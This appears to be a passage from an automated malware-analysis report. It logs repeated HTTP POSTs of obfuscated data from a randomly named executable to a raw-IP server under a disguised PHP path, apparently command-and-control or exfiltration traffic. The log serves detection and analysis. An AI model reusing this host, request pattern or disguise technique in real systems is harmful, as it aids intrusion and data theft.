Jan 4, 2025 13:38:32.343663931 CET	2584	OUT	Data Raw: 55 57 5f 5a 5e 5f 52 5a 5d 59 52 51 5a 5f 55 55 5f 55 5c 42 50 54 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UW_Z^_RZ]YRQZ_UU_U\BPTV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-/<Y :Z%)!Y!4>01)Q')$W*<"0<1.\/'^.)
Jan 4, 2025 13:38:32.681291103 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:32.813766956 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50834	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:32.936841965 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:33.281208038 CET	2584	OUT	Data Raw: 50 5a 5a 5a 5e 5e 57 50 5d 59 52 51 5a 58 55 56 5f 5d 5c 46 50 57 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PZZZ^^WP]YRQZXUV_]\FPWV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z., #)$0>)^6:'8&B23:<9(^4 1<.\/'^.5
Jan 4, 2025 13:38:33.639540911 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:33.768486977 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50841	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:33.889214039 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:34.234230995 CET	2584	OUT	Data Raw: 55 55 5a 5a 5e 5f 57 5e 5d 59 52 51 5a 58 55 53 5f 5c 5c 47 50 51 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UUZZ^_W^]YRQZXUS_\\GPQVZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.<4!&.\.5$';8X1&$9=Y 7_1<.\/'^.5
Jan 4, 2025 13:38:34.569403887 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:34.698709011 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50847	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:34.740361929 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1876 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50848	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:34.833098888 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:35.187375069 CET	2584	OUT	Data Raw: 50 5b 5f 5f 5b 5b 52 5d 5d 59 52 51 5a 5a 55 56 5f 5f 5c 43 50 55 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: P[__[[R]]YRQZZUV__\CPUVY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)/#79"_10"91Z66%+ 1'20<9+#?X2,.\/'^.
Jan 4, 2025 13:38:35.538913965 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:35.670494080 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50856	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:35.798209906 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue
Jan 4, 2025 13:38:36.159004927 CET	2580	OUT	Data Raw: 50 52 5a 5a 5e 5b 57 5a 5d 59 52 51 5a 5d 55 50 5f 59 5c 44 50 5c 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PRZZ^[WZ]YRQZ]UP_Y\DP\V[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.@(/$[42=_>* 4'[27-T'0W)0^78&.\/'^.1
Jan 4, 2025 13:38:36.500972986 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:36.634314060 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50865	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:37.027807951 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:37.374872923 CET	2584	OUT	Data Raw: 55 52 5f 5b 5e 59 57 59 5d 59 52 51 5a 5c 55 53 5f 5e 5c 41 50 5c 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UR_[^YWY]YRQZ\US_^\AP\VS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.B<0\7>&V"()1!_0?'720_,), '<.\/'^.%
Jan 4, 2025 13:38:37.739262104 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:37.870390892 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50871	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:38.000673056 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:38.363010883 CET	2584	OUT	Data Raw: 55 57 5a 5f 5b 5e 57 59 5d 59 52 51 5a 59 55 52 5f 59 5c 46 50 56 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UWZ_[^WY]YRQZYUR_Y\FPVVZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.),34-$3%65X$,[2&&9? ^7(&.\/'^.1
Jan 4, 2025 13:38:38.690268993 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:38.822366953 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50878	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:38.954385042 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:39.338313103 CET	2584	OUT	Data Raw: 50 56 5f 5c 5e 5f 52 5f 5d 59 52 51 5a 59 55 54 5f 5a 5c 46 50 51 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PV_\^_R_]YRQZYUT_Z\FPQV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z->0[ )-%0\>::"&$'$%3)R)) \#0 '<.\/'^.1
Jan 4, 2025 13:38:39.647466898 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:39.776287079 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50880	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:39.834086895 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50881	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:39.907234907 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:40.267011881 CET	2584	OUT	Data Raw: 50 54 5a 5f 5e 5f 57 5b 5d 59 52 51 5a 59 55 5c 5f 5d 5c 47 50 56 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PTZ_^_W[]YRQZYU\_]\GPVVX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-=?4:>& !=)=_!49_3#&1$T):<X#;%,.\/'^.1
Jan 4, 2025 13:38:40.593480110 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:40.722661972 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50882	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:40.844830036 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue
Jan 4, 2025 13:38:41.203099966 CET	2580	OUT	Data Raw: 55 52 5f 5e 5e 5d 57 51 5d 59 52 51 5a 5d 55 55 5f 54 5c 44 50 50 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UR_^^]WQ]YRQZ]UU_T\DPPVY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.=0Z ^1!]=: 4%^'^ X11T'8)*8X#3+]2.\/'^.%
Jan 4, 2025 13:38:41.544514894 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:41.676403999 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50883	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:41.798511028 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:42.159008026 CET	2584	OUT	Data Raw: 55 51 5f 5d 5e 53 57 50 5d 59 52 51 5a 5a 55 52 5f 58 5c 47 50 51 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UQ_]^SWP]YRQZZUR_X\GPQV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C>8 5$ )*-Z"B6$+,&=&: U>874&,.\/'^.
Jan 4, 2025 13:38:42.481642008 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:42.610610962 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50884	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:42.754468918 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:43.109316111 CET	2584	OUT	Data Raw: 55 51 5a 5a 5b 5b 57 59 5d 59 52 51 5a 59 55 5d 5f 5d 5c 44 50 54 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UQZZ[[WY]YRQZYU]_]\DPTVY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-,#9=1")"!':$^%0: 9$\" %.\/'^.1
Jan 4, 2025 13:38:43.453758001 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:43.584218025 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50885	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:43.711007118 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:44.062433004 CET	2584	OUT	Data Raw: 50 55 5a 5d 5e 5c 57 5d 5d 59 52 51 5a 58 55 51 5f 5b 5c 43 50 56 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PUZ]^\W]]YRQZXUQ_[\CPVVZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.=,?7=$0=1Z $%0;0^2!W';><\"37%<.\/'^.5
Jan 4, 2025 13:38:44.405282974 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:44.536253929 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50886	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:44.662889957 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50887	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:44.969130993 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:45.328711987 CET	1904	OUT	Data Raw: 50 53 5f 5e 5b 5f 57 5b 5d 59 52 51 5a 5f 55 55 5f 54 5c 46 50 5c 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PS_^[_W[]YRQZ_UU_T\FP\VY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.A=/8]":*[%:>9!Y!7!\0(Y%.0:?)," $%.\/'^.)
Jan 4, 2025 13:38:45.603933096 CET	25	IN	HTTP/1.1 100 Continue
